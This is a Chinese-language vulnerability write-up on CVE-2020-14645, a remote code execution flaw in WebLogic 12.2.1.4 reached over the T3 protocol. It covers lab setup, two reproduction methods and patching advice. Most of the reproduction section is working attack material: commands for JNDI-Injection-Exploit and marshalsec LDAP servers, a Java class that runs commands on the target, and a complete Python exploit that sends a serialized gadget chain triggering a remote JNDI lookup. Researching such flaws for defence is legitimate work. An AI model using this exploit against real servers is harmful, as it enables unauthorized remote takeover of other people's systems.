CVE-2020-14645 Weblogic远程代码执行漏洞分析

一. 说明

本文将针对Weblogic CVE-2020-14645漏洞进行分析和复现，仅从技术角度进行研究与讨论，严禁用于非法用途，违者后果自负。

PS：本攻略由群友飞翔的delacroix（305536130）及Z（997362569）供稿，本人审稿。

二、漏洞描述

WebLogic是美国Oracle公司出品的一个application server，是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

Weblogic CVE-2020-14645为远程代码执行漏洞，该漏洞通过T3协议进行利用，实现远程代码执行，进而控制服务器。

漏洞影响范围：

Weblogic 12.2.1.4.x

JDK：6u211以下；7u201以下；8u191以下

三、环境搭建

实验环境：WIN7(64位家庭版)+JDK(1.8.0_181)+Weblogic 12.2.1.4

1.下载安装

首先在官网下载Weblogic 12.2.1.4版本

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

使用以下命令：

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

提权安装文件进行安装，安装直接下一步到完成即可。如下图：

2.配置

安装完成后需进行配置（若未勾选自动启动配置向导，可在wlserver\common\bin目录下找config启动配置），如下图：

设置管理员账号（此账号为登录7001控制台的账号），如下图：

3.测试是否安装成功

配置成功后，在Middleware\Oracle_Home\user_projects\domains\base_domain目录下运行startWebLogic.cmd

访问 http://服务器IP:7001/console 出现如下界面即表示安装完成

因为利用的是Weblogic的T3协议，在利用前可使用NMAP进行探测确认是否开放T3(默认开放)。

可使用NMAP探测T3协议使用情况：

四、漏洞复现

方法一：

使用JNDI工具（下载地址： https://github.com/welk1n/JNDI-Injection-Exploit ）搭建LDAP及HTTP服务

使用git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 下载工具

cd到JNDI-Injection-Expolit目录下，使用mvn clean package -DskipTests编译

编译后编译文件自动存放在target文件夹中

cd到target文件夹，执行如下命令：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.134.134

其中：-C 为发送至目标机的代码，-A 为LADP服务器地址。

使用CVE-2020-14645漏洞利用工具 https://github.com/DSO-Lab/Weblogic_CVE-2020-14645

使用如下命令：

java -jar CVE-2020-14645.jar 192.168.134.134:1389/uppfdq http://192.168.134.135:7001

其中：

“192.168.134.134:1389/uppfdq”为LDAP服务器提供的端口及EXP命令，对应下图：

“http://192.168.134.135:7001”为Weblogic控制台地址

当利用成功后，LDAP服务器会有如下信息：

同时目标机弹出计算器，如下图：

方法二：

使用marshalsec工具，搭建LDAP服务器

下载源码，编译，方法同上。

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

使用mvn clean package -DskipTests编译

执行：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.134.134:998/#exp" 99

使用python创建HTTP服务：

python -m SimpleHTTPServer 998

在起HTTP的根目录下创建编译后的EXP，如下：

import java.lang.Runtime;
    import java.lang.Process;
    public class exp {
                static {
                 try {
                  Runtime rt = Runtime.getRuntime();
                  String[] commands = {"cmd.exe", "/c", "calc.exe"};
                  Process pc = rt.exec(commands);
                  pc.waitFor();
                 } catch (Exception e) {
                   // do nothing
                   }
                  }
                   }

python起的Http默认允许目录遍历，也可以直接访问 http://192.168.134.134:998/ 确认exp位置正确

使用如下POC进行测试

#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import binascii
import socket
import sys
import time
import logging
# CVE-2020-14645
def payload(ldap):
    payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72f9b3bc58cc52cd210200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002e636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e556e6976657273616c457874726163746f720dc477bfff4bf18c0200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00076d5f734e616d657400124c6a6176612f6c616e672f537472696e673b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f729b1be18ed70100e50200014900096d5f6e5461726765747870000000017074001567657444617461626173654d6574614461746128297704000000037372001d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cce26d81f4973c2050200074c0004636f6e6e7400154c6a6176612f73716c2f436f6e6e656374696f6e3b4c000d694d61746368436f6c756d6e737400124c6a6176612f7574696c2f566563746f723b4c0002707374001c4c6a6176612f73716c2f507265706172656453746174656d656e743b4c00057265734d4474001c4c6a6176612f73716c2f526573756c745365744d657461446174613b4c0006726f77734d447400254c6a617661782f73716c2f726f777365742f526f775365744d65746144617461496d706c3b4c000272737400144c6a6176612f73716c2f526573756c745365743b4c000f7374724d61746368436f6c756d6e7371007e000e7872001b6a617661782e73716c2e726f777365742e42617365526f7753657443d11da54dc2b1e002001549000b636f6e63757272656e63795a001065736361706550726f63657373696e674900086665746368446972490009666574636853697a6549000969736f6c6174696f6e49000c6d61784669656c6453697a654900076d6178526f777349000c717565727954696d656f75745a0008726561644f6e6c7949000a726f77536574547970655a000b73686f7744656c657465644c000355524c71007e00084c000b617363696953747265616d7400154c6a6176612f696f2f496e70757453747265616d3b4c000c62696e61727953747265616d71007e00144c000a6368617253747265616d7400104c6a6176612f696f2f5265616465723b4c0007636f6d6d616e6471007e00084c000a64617461536f7572636571007e00084c00096c697374656e65727371007e000e4c00036d617074000f4c6a6176612f7574696c2f4d61703b4c0006706172616d737400154c6a6176612f7574696c2f486173687461626c653b4c000d756e69636f646553747265616d71007e00147870000003f001000003e8000000000000000200000000000000000000000001000003ec00707070707074'

    payload_lenhex = '00'+hex(len(ldap)).strip('0x')
    payload_ldaphex = binascii.b2a_hex(ldap.encode())
    payload_end = '737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e744461746171007e000778700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707870737200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000877080000000b000000007870707371007e001a000000000000000a7571007e001c0000000a737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870ffffffff71007e002471007e002471007e002471007e002471007e002471007e002471007e002471007e002471007e002478707070707371007e001a000000000000000a7571007e001c0000000a707070707070707070707871007e001878'

    payload = payload_start + payload_lenhex + payload_ldaphex.decode() + payload_end
    return payload

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
    time.sleep(1)
    sock.recv(1024)

def buildT3RequestObject(sock,rport):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'

    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))

    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(bytes.fromhex(d))
    time.sleep(2)

def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'

    payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

    payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
    sock.send(bytes.fromhex(payload))
    res = ''
    try:
        count = 0
        while count<3:
            res += sock.recv(4096).decode("utf8","ignore")
            time.sleep(0.1)
            count += 1
    except Exception:
        pass
    return res

def run(rip,rport,ldap):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    server_addr = (rip, rport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,rport)
    sendEvilObjData(sock, payload(ldap))


if __name__=="__main__":
    ip = sys.argv[1]
    port = int(sys.argv[2])
    ldap=sys.argv[3]
    print("target:%s port:%s ldap:%s"%(ip,port,ldap))
    run(ip,port,ldap)

测试python3 exp.py 192.168.134.135 7001 "ldap://192.168.134.134:99/#exp"

HTTP服务器显示如下：

目标机成功弹出计算器，如下图：

五、修复建议

1、官方解决方案——安装官方补丁

可从官网下载最新补丁： https://www.oracle.com/security-alerts/cpujul2020.html

2、临时解决办法——限制T3访问来源

因为该漏洞通过T3协议进行利用，所以可通过控制T3协议的访问来临时阻断针对这些漏洞的利用。

①进入WebLogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置；

②在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，在连接筛选器规则中配置符合实际情况的规则；

③保存后若规则未生效，可重新启动WebLogic服务（PS：重启WebLogic服务会导致业务中断，建议进行风险评估后，再进行操作）。